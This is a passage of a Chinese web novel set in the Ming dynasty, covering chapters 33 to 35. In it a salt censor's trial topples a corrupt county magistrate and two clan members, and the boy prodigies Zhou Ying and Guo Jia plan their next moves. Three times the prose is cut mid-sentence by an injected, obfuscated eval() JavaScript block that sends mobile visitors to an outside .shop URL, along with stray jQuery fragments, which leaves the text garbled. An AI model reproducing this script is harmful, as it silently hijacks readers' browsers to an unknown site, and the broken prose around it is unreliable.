咽了咽口水,王宗昌行礼起身:“回御史,此事有些蹊跷,还请御史大人,入衙门升堂,明理清查。” 闻言,曹谨行面不改色,往前一步,跨进衙署大门,身后跟着的郭嘉郭怡等,以及一干郭氏之人,也全都走了进来。 公堂上,只见一“明镜高堂”的牌匾高高挂起,左右衙役早已待命。 走上主位的曹谨行掀袍落座:“本官初至山阴县,就闹了这么大的动静,王县令,你有何话讲?” 王宗昌擦一汗,低头咽着口水道:“御史,此事…此事下官也不清楚。下官只是秉公办的事,那郭尧家里,十几年来,吞并的官田、民田不计其数,下官查之,只觉触目惊心。” “郭氏家里所经营的孩儿笑酒坊,其酿酒酒槽来路,便也是从这些所谓的祖田里头,生出来的。” “这么说下来,下官才叫张军等人,前去查账,以求证据确凿。” “如今这……也实在是没料到啊。” 他说的话还算是条理清晰,但听在郭勋耳朵里,如五雷轰顶!本脸色煞白,刚缓过神的老祖宗郭勋,顿时瞪大眼睛,又又又要背过气去了! “老祖宗!老祖宗!” “哎哟,真是造孽了!老祖宗这身子受不住啊,钦差大人,可否念在我家老祖宗年事已高,叫人搬个凳子来?”那女眷也是眼眶泛红,声音带着几分恳求。 这出戏唱的,真是有趣。 看了闹剧开幕式,郭嘉心里冷笑一声。 还没到高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此案他当年翻阅过,牵扯的干系,非他一个小小的巡盐御史,可以担得起的。 曹谨行的目光锐利了几分,打量郭嘉的眼里,带着审视意味。 而对方,长身玉立,亦面无表情,毫无畏惧之色,只是看着曹谨行,突然一笑道:“曹御史,敢问在下说的可有何不妥?” “当然有。” 突然,一声响,曹谨行手中惊堂木落下。 “本官来此,办的是朝廷的巡盐差事,来到山阴,查的也是贪官、污吏、恶绅。而今,郭氏的酒坊被砸,与郭家是否吞没田产有没有关系,还需细查。” “但!” 说到这,曹谨行微微眯眼,声音冷下来:“若有谁,非要在这档子事情上做文章,搅乱这水,将周、郭氏冤屈,张冠李戴,那这就不是小小的山阴县,就能办的了的事情了。” “也不是我,能插手的事情。” 33.第 33 章 郭嘉闻言,垂眸间,上前一步:“不知在下可否多问一句。” “你问。” 听到这话,郭嘉反而是转头,向着那脸色惨白的王宗昌开口:“我就想问问王县令,家兄何在?可是否关在大牢中!” “无凭无据,衙役便直接当街拿人,可还有王法?” “再问,这‘明镜高堂’的牌匾,诸位可问心无愧?!” 他说到这儿,更是直接从自己的袖子里,掏出一张白纸黑字的契约,放在众人面前。 哼了一声道:“当年,我还是四岁,若非私塾夫子相助,便是连这‘认祖归宗’的字据,都拿不到!” “而今,朝堂亲封的巡盐御史,坐在这高堂之上,新仇旧怨,便是那矿税旧案,我也一定要……彻查!” 郭嘉语气锐利,脚步缓缓上前,手上的字据,清晰可见,写的是郭三越的那些承诺,而今却全都成了呈堂证供。 眼看着他越走越近,一个察院差官皱眉上前:“闲人止步!” 闻言,郭嘉哼笑一声:“那就麻烦,递上去,叫曹御史看一看,这张契约,是否算得上是铁证!” 说罢,他手一递。 察院差官见状,下意识朝着坐在上方的曹谨行看了一眼,对方皱着眉颔首。 “我大明以孝治国,这是自太祖时期立下的规矩,而今,我已长成为人,读的也都是圣贤之书,为父伸冤,天经地义。曹御史,此事难不成,我还做错了吗?” “……”曹谨行低头,翻阅了一下这张契约,心里不免得也有些觉得棘手起来。 再听郭嘉之言,便更觉这少年手段老辣,直接将他架在高位上,如今是上不去,也下不来了。 如今整个山阴县,都知道郭氏子替父翻案,此事若是不了了之,他如何立威?如何继续将巡盐之事推行下去? 这是刚出门,就遇到了拦路虎! 且看那跪在地上的王宗昌,这会儿已是心如死灰,咬着牙,脑子里疯狂思索着对策,如今就算是再蠢的人,也明白了这会儿他必然是逃脱不得的! 原是前后左右,全都是拿着他做肉垫! 此事一旦捅出篓子,死的会是谁? 是他! 他这个七品芝麻小官! 曹谨行放下东西,眼中思绪一转:“郭勋,这是你们家的私事,你如今有何说法?” 坐在一旁,这会儿整个人苍老不少的老祖宗郭勋,听到声音,手拄着拐杖,打着哆嗦的站起身来:“御史大人……此事,我郭氏,实属是…” “你还想说不知吗?这契约白纸黑字,上头签字画押的便是郭三越。你可知,这是欺君之罪!” 郭勋低着头看向地面,思索着这会儿的局势,却怎么都觉得不妙!便是方才,郭嘉在郭府的一番惊天言论,直接将整个郭氏都绑上了车。 如今郭氏早已成了帮着对方,一道伸冤求翻案的帮凶了! 他这会儿是心里恼怒不已,却也颇感苍凉,一想到郭三越和郭尧两个人,便只觉得失望和厌恶。 若非这二人,何至于将郭氏带到如此危险的境地! 如今,若是不成功,便只能死路一条了! 成功,还能借着翻身仗,将郭嘉彻底洗掉罪臣眷属的身份,考上功名科举,入朝为官。 不能成,那就一起等着抄家吧。 “此事,实为属实……郭嘉为我郭氏子孙,我这个做老祖宗的,当然要护着。”郭勋缓缓抬起头,眼中带了几分冷意。 “至于七年前的那桩旧案,想来曹御史知道的,要比我们更清楚——” “放肆!”一声呵斥,一旁的察院差官,目眦欲裂。 郭勋闻言,垂下眼皮子:“草民失言,望曹御史勿怪,实乃心疼子孙之苦。” “至于那牵扯的田产,郭氏也愿尽数吐出,郭三越、郭尧二人,残害至亲,欺凌寡母,我老了……竟教出这样的不幸败类!” 他呜咽一声,泪水顺着沟壑般的褶皱滑落,看起来实在邋遢狼狈。 “老祖宗……”身后的女眷闻言也是脸色难过。 此话一出口,已是不言而喻。 郭三越和郭尧,是彻底倒了,也再没可能有留在郭氏的机会。 郭勋为了保护整个家族,弃车保帅,割断血脉,此为地方乡绅的保全之策。 也是利益之下,人心的丑恶一面。 郭嘉看完了全部的好戏,心里并不开心,也没什么波澜。勾心斗角,素来都是你死我活,若非心狠手辣,当年的他,也早死在了一次次的随军出征途中。 事必先行一步,方可抢占先机。 但想起那抹无瑕的白衣身影,郭嘉本冷如铁般的心里,不免得生出些许的担忧之色。 “我还有一问。” “……”曹谨行这会儿看他是哪哪都不顺眼,偏又不能拿他怎么样。 这出师不捷,一时失算,便也只能将郭氏的事情草草结案,以徐徐图之,这巡盐之事了。 想到这,曹谨行板着脸:“说。” “敢问王县令,我兄在何处?你还没回我的话。”郭嘉转头,居高临下的看着王宗昌。 对方抬起头,目光中带着些许狰狞,突然哈哈一笑:“你们以为,这事儿只抓了我,就能万事大吉了!” “我告诉你,这事没完!朝廷里还有人——”听到这话,那站在边上的察院差官顿时猛上前一步,拿了块布直接将他嘴给塞住! 代表着公平公正的衙门大堂,为民为子的父母官,王县令,此时此刻,丑态毕出的被堵住嘴,瞪大眼睛,眼里头血丝满布,十足的可悲可叹。 一枚棋子,死到临头,方知自己从头到尾,都被人拿捏着戏弄。 可怜之人必有可恨之处。 曹谨行一拍惊堂木:“去,大牢里,将那周氏子提出来。” “是。” 大牢之内。 昏暗的牢房,一股腐臭的气息。 盘腿坐着的白衣少年,脊背挺拔,闭目养神之间,听到脚步声从大门口传来,不免略抬起眼皮。 而后,郭嘉一行人,便看到了,被关在牢里,整个人都有些疲惫的周盈。 见到几人,周盈心中大定,忙站起来,结果脚下一个踉跄,却是眼前一片头晕目眩,竟是差点栽倒! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681146|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “还不快开门!”周瑶见状是眼睛都发红,心痛如刀割!朝着一旁站着的衙役怒吼了一声。 那衙役手上忙不迭掏出钥匙。 郭嘉见门一开,便直接冲了进去,伸手直接一把搂住差点摔倒的人。 “我……没事。事情怎么样了?”皱着眉,这会儿泄了气的周盈,脸色发白,一副没什么力气的模样。 看了一眼放在一侧未曾动口的饭菜,郭奉孝不免手心发麻,背上冷汗直流。心里更是把这家伙狠狠臭骂了一顿!干点什么不好,非得自虐! “周娘!他饿晕了!” 周盈:…… 他皱了皱眉,试图挣扎着从郭嘉怀里起来:“我没饿晕。” “哦……天啊,还胡说八道了!” “……”周盈心里无奈。 “走吧,先出去再说。” 郭嘉一只手搀扶起他,紧接着凑到耳边轻声开口:“事情办妥了,你那操劳命,暂时别想那么多了,等会儿出去到了公堂,也不用多说什么,一切我来就是。” 似乎是察觉对方靠得太近些,周盈略微侧了侧头,看向他的眼里,带着几分迟疑:“外面现在怎样了?如今是何局面?” 听周盈这样关心,郭奉孝心里也是没好气,但明白这人就这么个性子,事事放在心里操心,若是不说个明白,只怕心里纠结。 于是他便将事情的经过大概的说了一遍,听到局势的周盈,脚下不知怎么,或是真有些疲倦到了极限,一个踉跄。 “哎!”郭嘉心急一拽。 走在边上的周瑶也是上前一步,抿着唇的脸上,顿时就淌下了泪来。 三个人也就不说什么,便如此安静的往前走,搀扶着,走出了大牢的大门。 再见阳光,周盈略眯了眯眼睛,只觉得刺眼。 “娘,我没事的。”转头看到周瑶兀自流泪,周盈这会儿心里也升起了一些愧疚。 若非事态紧急,也是二人并未全盘告知,竟让两位母亲,心急如焚至此了。 不过,周盈也着实没想到,这一局里头,周瑶和郭怡带给他的震撼,竟是如此的大。 一时间,也心中五味陈杂,只觉亲情与母爱,情比金坚,坚不可摧。 这还真是世间最温暖的东西了。 “我儿…受委屈了。” 周盈浅叹一声,颇有些不知道如何开口,他自认为也并非是个纯粹的好人。周盈剑自诞生以来的使命,便让他不得不牵扯进阴谋算计,人心险恶之中。 有的时候,想做好人,做好事,手段反倒还得比恶人更狠,更残忍。 这样才能保护想保护的人。 因而,这其中之局,他未尝没有利用过周瑶和郭怡对两个人的爱。 在这样的世道,道义不是说出来的,是争出来的,也是用这规则之内,最不能触碰,最不可欺凌的名,去捅破的。 正所谓,反者道之动。 弱至极,则极强。 也正是所谓的“女子本弱,为母则刚”。 棋太差的时候,有什么,就用什么。但也要心怀愧疚,知其难而守其白。 34.第 34 章 衙门大堂内,被几个衙役提着带来的郭三越和郭尧,这会儿是脸色惨白,一副惊慌失措的模样。 郭三越倒是还好点儿,他还算是能强制镇定。 郭尧这会儿,头发乱糟糟的,衣襟都被扯的乱七八糟,见着坐在上方的曹谨行,立刻便猛的噗通下跪! “御史大人!小民、小民真的什么都不知道!都是那王宗昌说的!说是非要对那周寡妇家的酒坊动手,若小的不给他田产账目,他就要对小的下手!” “我实属是无辜啊!这事儿我什么都不知道,咱们郭氏也是受害者!” 坐在一侧,缓过气的郭勋,听到这话,顿时撇过眼去,脸上是十足的失望。 都到了这个时候,还是半点担当都没有,自乱正脚,简直不堪教养。 心里叹了一口气,郭勋已经不太想听接下来审判的流程了,他只觉得浑身都有些疲倦,整个人,仿佛是干瘪了下去一般,闭上的眼里,不易察觉的闪过一丝水光。 “肃静!”惊堂木下,顿时寂静。 曹谨行已不想多做纠缠,此事既已定大局,便速速清场,也好多给他腾些时间,去周旋如何在接下来,将巡盐之事重新推行下去。 “郭尧,你勾结王宗昌,吞并佃农田产,欺凌孤儿寡母,更对宗亲血脉毫无怜悯之心,那郭氏带着一个儿子,跟着周氏两个人,为求生计,辛劳持家,而今你却还是不肯放过她,偏要砸了人家酒坊,逼人至此,品性恶劣,为父不仁,为子不孝,为兄不善,不尊老,不爱幼,如此歹毒心肠,足可见,是个……” 说到这的时候,搀扶着周盈走进来的一群人,见到了跪在地上的郭三越和郭尧。 周瑶只觉得解气,冷哼一声撇过头去。 周盈见状,白着一张脸,朝着公堂上坐着的曹谨行行了一礼。 对方颔首,继续开口道:“是个十恶不赦,目无君父,无尊卑之心的禽兽之辈!本官如何饶你?就算饶了你,那被你欺凌的那些百姓便是活该吗!” 此话如轰雷一声响,顿时劈的郭尧一个眼前发白,嘴唇哆嗦着,差点晕死过去! “不不不…这不关我的事情!老祖宗!老祖宗救我,我是被那王宗昌逼的!”找到救命稻草的郭尧,连滚带爬朝着郭勋坐着的地方爬过来。 只见那察院差官上前,一脚便将人猛的踹翻在地:“公堂之上,不可喧哗!” 跪在一侧的郭三越,脸上痛苦的闭上眼睛,痛哭声压抑,却亦不能完全忍住,泪水顺着富态的脸颊滑落,他猛的往下磕头:“御史大人,此事……我等又何其无辜!” “王宗昌是父母官,他想做的这些事情,我们这些做子民的百姓,又要如何能抵抗的了!!” 周盈见这一幕,神情冷淡,心里轻叹,撇头看向郭嘉,对方只是眨了眨眼睛,颇为俏皮。 周盈:…… 这事儿,做的是狠,更是借着曹谨行的手,直接将郭三越和郭尧这两根刺,全都拔了出来。 有的时候,你不去惹对方,对方反而先来害你。 既如此,那就只能是你死我活。只有这二人死透了,他们家才能好过。 这番苦肉计,这一次的深入危局,好歹是没让他白受罪了。周盈用自己替郭嘉布了个棋盘,对方却下的极好,也极妙了。 公堂上,声嘶力竭的哭喊声,随着郭三越和郭尧被押入大牢,暂以告终。 苍老了仿佛十岁的郭勋,拄着拐杖站起身的刹那,竟是一个踉跄,往前直直摔了过去,若非女眷护着,怕也是难爬起来。 门口围着的人群逐渐消失,衙门的会审,也进入了散场。 周盈被搀扶着欲转身。 身后的曹谨行便道:“且慢些。” 这话说的没来由。 让周盈脚步顿了顿,他看了一眼郭嘉,对方眼里也全是迟疑和不解。 转过身,便看到曹谨行,起身从位置上走了下来。 他打量了一番周盈,随后开口道:“你就是周神童?” “回御史,在下便是周盈。”不知道对方为何如此询问,周盈便也只能虚虚的回了一个礼节。 曹谨行观他,如观深渊。一个七八岁的少年,却搅弄的整个山阴县不得安宁。将郭氏拉下马,清算了郭三越和郭尧,还连带着,让他这个巡盐御史,都捉襟见肘。 好算计,好城府啊。 思忖间,已是想明白这一整局的曹谨行,心里的愤怒,早已被深不可测的震惊压了下去。 若无这位周神童以身入局,那么周氏和郭氏,便也不会一个去郭府门外跪情,一个披麻戴孝上街伸冤。 也就更不会,被他注意到。 若说郭嘉是刺穿一切的矛,那么周盈……便是整个棋局得以建立的支柱。 想到这,曹谨行打量的目光,来来回回。 见他面色苍白,一副疲容,却依旧扳直脊背,不卑不亢,不免得,除了棋逢敌手的忌惮,更多的,却是欣赏。 可惜,为何才如此年轻。 可惜,为何偏要扯进旧案。 可惜,为何…年少,便卷入党争中呢。 “本官,倒是想送你一句话。” “请御史明言。” “惜乎,雏凤清声,本可振于高冈。然木秀于林,风必摧之。行高于人,众必非之。” 周盈闻言,略蹙眉,垂眸间,莞尔一笑:“那我也有一句。” “独木成林,秀甲天下。地润天和,植立千古。” 曹谨行不再说话。 三人搀扶,朝着大门外走去,一路间,阳光洒下,可见影子,渐渐消失在门外。 门口等着张岱、杨业二人,这会儿见着自家小师弟脸色惨白,被郭嘉搀扶着走出来,也顿时心中咯噔,上前一步。 “这是怎么回事?可是那王宗昌动了刑?我就说那混账东西准没什么好心思!这看着真叫人心疼。” 这话是张岱说的,如今这家伙,脖子上的镰刀被取下,心里可谓是轻松了不少。一张嘴一连串的话便往外蹿,听的周盈颇觉头疼。 杨业见状,也是忍俊不禁:“你啊,还是少说几句,小师弟这会儿刚出狱,想来也是许久未曾沐浴更衣,吃顿好饭。” “如今也不是什么说话的地方,还是先回去再说。” “哎!宗吕说的在理,我这一心急,倒是忘了这些事!”张岱一拍脑门,脸上也是尴尬万分了。 周府。 先前因周盈出事,周瑶和郭怡二人,便也没有了什么心思打点家业,这会儿原先的那些雇佣的婆子妇人的,也就都没来。 傍晚时分。 先是洗了个澡,更衣一番。 再将披着的湿漉漉黑发擦了擦。 周盈这会儿才缓过劲儿来。 秋夜的风从窗框吹进来,带着些许的凉意。 穿着单薄宽松的少年,衣襟微散。 走进来的周瑶,见他穿的少,便上前取了衣服,给他披上。 “你这孩子,大冷天的,还穿这么些。” 察觉对方的情绪,周盈也是无奈一笑:“娘,我没事。” 周瑶闻言,鼻子一酸。 也就这些天的功夫,整个生活都像是变了一般。原先的小康生活被打乱,自己儿子锒铛入狱,整个山阴县都人心惶惶。 酒坊的生意还要再过些时候才能恢复。 但周瑶已隐隐感觉,往日的那种平静生活,是一去不返了。 “盈儿,你跟娘说,这件事,到底是什么情况?你不是这样鲁莽冲动的人,如今这事儿,牵扯了朝廷命官,为娘心里,真的是担忧你啊。” 说着话,周瑶走到边上坐下,烛火在她眼里头跳动,而岁月已经在她的眼尾留下了痕迹。 也不过七年时间,却能改变许多的事情。 周盈闻言,不免心里有些感慨,也有些复杂。有的时候,做事不是最难的,如何做事,且保全自己想保护的人,这才是最难的。 “娘,这些年里,你和郭娘的操持,我和嘉弟都看在眼里。如今我二人已长大成人,虽还是七八岁的年纪,却也想为你们分忧。” “我们的身世总归是过不去的坎,一直自欺欺人,等考科举功名的时候,又要如何呢?” 周瑶心里酸涩,孩子长大了,有自己的想法了。她的这个儿子,从小到大,就很聪明,人人说周盈是山阴神童,可在她眼里,却一直都只是自己的孩子。 任其名声显赫,任其才华横溢,终归是母亲身上掉下来的一块肉。 母子连心,二者又何须多说什么呢? “为娘的,自然支持吾儿,只是担心吾儿,将来的路坎坷,风浪滔天,行如独木桥,担若千斤重。”说着这话,周瑶伸出手,摸了摸周盈的头发。 眼神间,既是是欣慰,也是心疼。 周盈见状,也只是莞尔。 吃过晚饭,歇脚的功夫,张岱杨业二人,便是匆匆登门拜访。 吹着夜风,坐躺在躺椅上的周盈,这会儿披着头发,一副懒散随和的架势。 少见他这般,张岱不免稀奇,手上的东西放下,张岱就开始乱七八糟的介绍: “小师弟,我这带了些补品,我看你身子骨弱,拿来补补,这个是人参、鹿茸……还有鹿鞭!” “都是好东西!我家老爷子推荐的,保管你吃了生龙活虎!” 周盈:…… 郭嘉:…… 杨业:…… 这都什么跟什么! 人参鹿茸也就算了,那鹿鞭…… 周盈皱起眉,少见带了几分无语:“算了,我敬谢不敏。” 杨业也是扶额:“宗子,你这东西,给你爹吃才差不多,小师弟这会儿正是长身体的时候,哪有给七八岁少年吃……吃那玩意儿的?” “诶?我还是问了我爹的,他说啊……”说着这话头,张岱掀起衣摆也跟着坐下,脸上煞有其事道:“说小师弟,是咱们的救命恩人,家里有好的,都得送过来答谢人家!” “否则,咱们张家就是忘恩负义之辈了!” “……”也不一定非要这种答谢吧。 “哦对了,我这还有个请帖呢,喏。”他想起什么,低头朝着自己衣襟掏出来个金边红色请帖。 周盈见状,还没动手呢,坐着的郭嘉就抢先一步接了过来。 “什么请帖啊?谁家的?请我们做什么?” “哦,是说,等小师弟身子好点儿了,请你们去山阴县最大的酒楼吃饭。到时候宗吕的父亲也会来,几个淮扬盐商也会到场,还有些跟咱们家关系比较好的大儒,都在。” 他说着说着,看了几人一眼,神秘兮兮的凑近:“我爹说了,这事儿不仅仅是吃个饭这么简单。” 闻此言,周盈与郭嘉对视了一眼。 “哦?张师兄还跟我卖关子呢?难不成你我这生死之交,还不能把话说个明白些?” 杨业倒了杯热茶,递到周盈跟前,笑道:“先前说过,小师弟若能救我二人,便是当牛做马也不为过。” “小师弟家里的酒坊都被砸了,咱们几个看着也不是滋味。前些天,周姨不是还去了一趟南直隶?” 周盈拿起杯子,低头抿了口茶,心里是了然了这些人想干嘛。他倒也没有太过惊喜,毕竟这事儿,是个有点良知的人,都懂要如何知恩图报。 救这二人,得到的收获颇丰。 “孩儿笑是我娘苦心经营的,若真要去南直隶开分店,我们远在绍兴府,手也是没办法伸那么长啊。” “这不都不是事,有什么麻烦,都由我们代劳就是。” “再说,到时候不止是酒坊,便是一些其他大大小小的行业,只要小师弟想做,我们这儿有人,都能做。” 听到这话,郭嘉眼睛都亮,嘿……这是不是说,他们的情报网能往南直隶铺了吗? 其余的商业营收都还是次要些的,郭嘉听了这些分析和谈话,心里却满都是关于如今二人手里,那张小小情报网带来的便利和优势。 若非之前二人有先见之明,这巡盐的事情,哪能如此轻松的便抢占先机,打的曹谨行措手不及的? 这就是信息差的威力啊。 而南直隶离京畿分毫之间,若是能在那儿,把自己的情报网建立起来,那么整个江南地区,二人皆可了如指掌了。 想到这,郭嘉表示自己要发表意见了。 “这事,我看是行。但怎么做,怎么分利润,还得细细商量才是。而且现在还不是真该开心的时候,那曹谨行还没走,如今我们将他的计划打乱,对方必然是有所防备。” 周盈颔首:“嘉弟说的在理。如今我们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689289|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 庆功宴,开的还是早了一些。” “若我没猜错,今晚,那曹谨行,便会陈情上书一封,八百里加急,将今日在山阴县发生的事情,呈送京师。” “到时候,皇帝知道了这里的情况,朝中大臣也知道了这里的情况。” 说到这,周盈语气微顿,看着两人有些冷静下来的脸色,便又道:“还有你们动用的那几个科道前辈,如今只怕已在朝堂上,吵的不可开交了。” 张岱闻言,也颇不好意思一笑:“这不是,心里着急吗?再说了,这事儿不捅到朝廷那,若是曹谨行雷霆之手镇压地方,我们就真没地方哭去了!” “不是说,这事情做错了。我是说,做的有点急了。”叹了一口气,放下杯子的周盈,从躺椅上坐了起来。 “如今,皇上应早就知道山阴县发生的这些事情了。再有曹谨行呈上的奏疏,你我只怕,还有更难的一关要过。” “哦?” 周盈思忖,眯起眼:“矿税旧案,现在是直接捅到了朝廷去,这事儿牵扯上一代首辅沈一贯,当时弄的民不聊生,牵扯到官员虽说都清算了一遍。” “可为何偏是要留我二人?” 杨业皱眉深思着什么。 郭嘉倒是与他心有灵犀:“你是说,我们二人就着,便是人证。只要这张牌还在,到时候想要重新清算新的派系,比如东林之人,那么也可以拿出来,直接攻讦其坑害无辜,为党同伐异,而欺凌孤儿寡母。” “便是如此。”周盈点头。 张岱眨了眨眼睛:“呃……但,这七年前的案子,怎么还能拿来指鹿为马?” 周盈莞尔:“这就是皇帝的无赖了。” “……”这是可以说的吗?小师弟你是真不怕死。 “上有所行,下有效仿。若君贤明,臣便是实干兴邦之臣。若君奸诈,臣便是操弄权势之臣。这也端看,坐在上面的是怎样的君了。” 杨业叹了口气:“时世艰难,可如今,我们又该如何呢?” “先等等看吧,我观那曹谨行,也不是个坏人,他有振兴朝堂的野心,却也不得不依附东林,这就是国家的悲哀了。” “……” 一番话,到此结束。 送走两人,坐在椅子上的周盈叹了口气,然后就躺了回去,眯起眼,颇为舒坦的受着夜风徐徐。 用脑过度,有点累。 郭嘉走回来,就看到这家伙窝在躺椅上,穿的单薄不说,连外套都不披件,虽说这天也不算太冷,但风吹多了,总归容易受寒。 他没好气,走上前。 “起来!你怎么坐的住的!”一提溜,猛将人从躺椅上拽起。 “唔!”周盈惊的是猛地睁开眼,就看到郭奉孝那双桃花眼里,全是狡黠的笑意。 没好气,他无语:“做什么?我还不能歇歇?用脑过度,容易早生华发的。” “嗯?我看你青春正盛,貌美如花,受了难便弱如蒲柳,更有倾世之姿,便是一头白发,也是个高岭之花。” “……”周盈皱起脸,跟吃了苍蝇一样。 这话让人说,也就算了。那郭嘉说出来,纯纯是戏弄他。 此人性情顽劣,不足为奇。 “你让我歇歇吧,实在是饿了几天,没力气了。” 听他这样讲,郭嘉也是无语,心里是气这家伙总是如此,不把自己身体当回事,不过看他这般虚弱的架势。 一时间也是没说什么,走到边上坐下。 两人无多言之词。 周盈皱起眉,啧了一声:“行了,我回屋我回屋。” 跟谁学的……坐边上杵着跟个门神似的,那目光盯着他都跟要盯穿了一样。 受不了一点。 郭奉孝嘿嘿:“这就对了,我答应了人,说要照顾好你,若到时候回去,你把自己折腾的乱七八糟的,我怎么交差?” “不把我撕了,那都是好的。” “走吧,来,上回你背我,这回换我背你。” “……”周盈哭笑不得。 “嗯…那等回去,你帮我隐瞒一下,我也不想被唠叨。” “好说好说,但你要听话。” 于是,两个人拌着嘴,一人背着一人,就在这小院的月色下,走进了屋。 灯火一熄,一夜好眠。 是日,整个山阴县都知道了前些天发生了如何轰动的大事。 先是官府衙门打砸周寡妇的酒坊,后又一言不合直接抓了周氏子。 那周寡妇当街背着牌坊,气势汹汹申冤。 郭寡妇上郭氏求助却吃了闭门羹,跪在门口却等到了曹钦差这位大青天! 而今,郭氏的两个败类被扫地出了门,恶官王宗昌也已经被抓进了牢里。 所谓,善有善报恶有恶报,这样的故事,老百姓们都爱听。 “唉,这事儿好在是有了好的结尾吧!周寡妇也是难,如今有青天老爷撑腰,才不至于被这些人给弄的家破人亡!” “是啊,曹钦差,真是活青天啊!昨日我可是看了整个会审过程呢!那郭尧哭的稀里哗啦,真是让人解气!” 听了整段话的曹谨行,今日便服出行,坐在一旁茶楼内,听着左右街道的小贩窃窃私语。 “宪台,如今局势,于我等巡盐不利,那张杨二家,早有打算,郭氏又明哲保身,而今朝局科道言官弹劾攻讦,水已是一片混浊。想要再将巡盐之事推行下去,阻碍重重。”协理皱眉,心思沉沉。 听了这话,曹谨行放下杯子,末了,只是看了他一眼:“玉卿,你跟在我身边,有多少年了?” 闻言的协理,姓顾明珩,字玉卿。 他道:“约莫也有十年了。” 曹谨行叹息:“十年了,我原属户部的官,是陛下器重,这才有奉命巡盐的机会。可在朝廷,当官的想做点事,却又要顾及这个,顾及那个。” “你听听,这些百姓都称呼我什么?青天。” “素有包青天,海青天之闻名遐迩,却不曾想有一天,还有曹青天的声音。这青天也难做,要做好官,还要办大事,就更难。” “宪台,这是百姓爱戴您,如今您帮了那周氏郭氏,清理了山阴县的贪官污吏,大家伙也都是心里高兴。”顾珩跟了他那么久,听得出曹谨行这话的意思,并不是开心。 35.第 35 章 曹谨行当然开心不起来,名声这种东西,很多时候是拿来约束人的,而不是拿来用的。 他现在是山阴县的曹青天,可在朝廷,却已经成了为矿税旧案翻案的嫌疑人了。 “时世艰难呐,而今国库亏空,就是等着我这次巡盐带回去银两。若是我不能将这次巡盐的事情办妥,将来便再没有可能做别的事情。” “如今,我已将奏疏呈上,把这山阴县发生的大大小小事情,全都说了一遍。” 说到这,曹谨行叹了口气,眼前竟浮现了当日,周盈那坚毅冷静的目光。 “小小山阴县,卧虎藏龙,竟出了这样两个人才,却偏又牵扯进什么劳什子的矿税旧案里头。” 听着曹谨行说话,顾珩心里也颇不是滋味,他本不是进士出身,充其量不过一个小小举人,得了宪台的器重,这才能跟着巡盐。 他素明白曹谨行为人如何,也明白朝廷局势,总是让想做实事的人左右夹击。 “宪台,或…此事并非,必须你死我活。国库亏空是重中之重,咱们怎么把钱弄到手,这才是陛下最关心的。背后的党争之斗,却也都是次要。” “你说的不错,我身后,虽然站着的是东林的人,可我曹谨行,也是凭着自己的一身本事,才能站到这里。”曹谨行声音一顿。 “我也只希望,那些人能明白,谁做的过了,谁就是下一个浙党。” 说完此话,曹谨行手里放下一锭银子,转身离开了这儿。 周府。 躲在院子里的周盈,可谓是偷得浮生半日闲。 只是堂外有些人声嘈杂。 周瑶正跟着几个婆子说着话。郭怡则是帮着开始收拾起家里的东西。 事情过去了,但日子还得照旧。 周盈听着外面的动静,也是无奈。 街坊邻居可真是热情啊……今日这门槛,怕是都要被踏破了。 闲着也是闲着,他在家是为了养身体,郭嘉可就没什么借口向私塾请假了。 因而,这家伙一大早就上学去了。 嘿……好歹也是历史上留名的奇佐鬼谋,这会儿来到大明朝,也得是入乡随俗,从小娃娃当起。 “哟,怎么穿这么少?等会着凉了就不好了,你也是,偏喜欢在院子里坐着,这天渐渐冷了,衣服也该多穿点。”走进来的周瑶看他一身薄衣宽袖,头发也是随意扎着,几根零散的头发攀在脖颈上,不免的有些没好气。 当下就走进屋里,拿了件厚衣服。 周盈被说的是无奈,在家里待了这几天,每天都得被周瑶念叨,他现在耳朵都有些起茧子了。 “穿上穿上。” “娘,我挺热的。” 周瑶满脸不赞成的看着他。 周盈败下阵来。 好吧,再厉害的人,回到家,也是妈妈的孩子。 妈妈觉得你冷,就要加件衣裳,妈妈觉得你饿,就得好好吃饭。 周瑶给人拾掇了一下,看着自家儿子如此俊秀端丽,也是眯起眼一笑:“我儿也算是个半大小子了,再过些年,也该准备提亲了。” “咳、咳咳!”周盈本还拿着杯小点心吃,这话听进耳朵里,顿时猛的咳嗽,呛的是脸颊发红,好个白宣纸泼了芙蓉脂。 “哎,你这孩子,吃慢点。”手拍拍背,给人顺气了,周瑶心想,自己这个儿子,大事小事都精明,怎么偏在日常生活里,总是懵懂迟半拍的。 看着让人担心。 “娘!”周盈也是忍不住了。 “这事儿还是等大了再说吧,如今我和嘉弟,连个秀才都不是,谈这个太早了。” 听着这话,周瑶脸上笑眯眯:“这不是提一嘴吗?” “好好好,你不愿说,我也不提了,等你想了再说。做娘的嘴上说一句,孩子心里怕不是听的心烦呢。” “没有,我知道是为我好,只是这事儿……等从长计议。”周盈嘀咕了一嘴,灵气的眼睛里头,全是尴尬和心虚。 